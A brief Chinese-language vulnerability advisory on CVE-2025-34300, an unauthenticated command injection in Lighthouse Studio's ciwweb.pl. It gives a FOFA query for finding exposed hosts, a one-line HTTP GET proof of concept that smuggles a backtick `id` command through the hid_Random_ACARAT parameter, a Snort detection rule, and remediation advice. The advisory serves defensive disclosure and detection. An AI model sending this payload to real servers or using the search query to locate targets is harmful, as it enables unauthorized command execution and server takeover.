Lighthouse Studio ciwweb.pl 未授权命令执行漏洞(CVE-2025-34300)¶

Lighthouse Studio ciwweb.pl 未授权命令执行漏洞(CVE-2025-34300)，攻击者可执行任意命令导致服务器被控。

影响版本¶

Lighthouse Studio

漏洞状态¶

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级¶

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现¶

FOFA：body="Lighthouse Studio"

POC/EXP：

GET /cgi-bin/ciwweb.pl?hid_javascript=1&hid_Random_ACARAT=[%+%60id%60+%]&hid_Random_ACARAT=x HTTP/1.1
Host: 127.0.0.1

snort规则：

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"Lighthouse Studio - Unauthenticated Command Execution via ciwweb.pl (CVE-2025-34300)";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/cgi-bin/ciwweb.pl"; http_uri;
    content:"hid_javascript=1"; http_uri;
    pcre:"/hid_Random_ACARAT=\[%\+%60[^%]+%60\+%\]/i";
    metadata:cve CVE-2025-34300;
    metadata:affected_product "Lighthouse Studio";
    metadata:attack_type "Command Injection";
    classtype:web-application-attack;
    sid:1000340;
    rev:2;
    priority:1;
)

漏洞修复¶

关闭互联网暴露面或接口设置访问权限

升级至安全版本。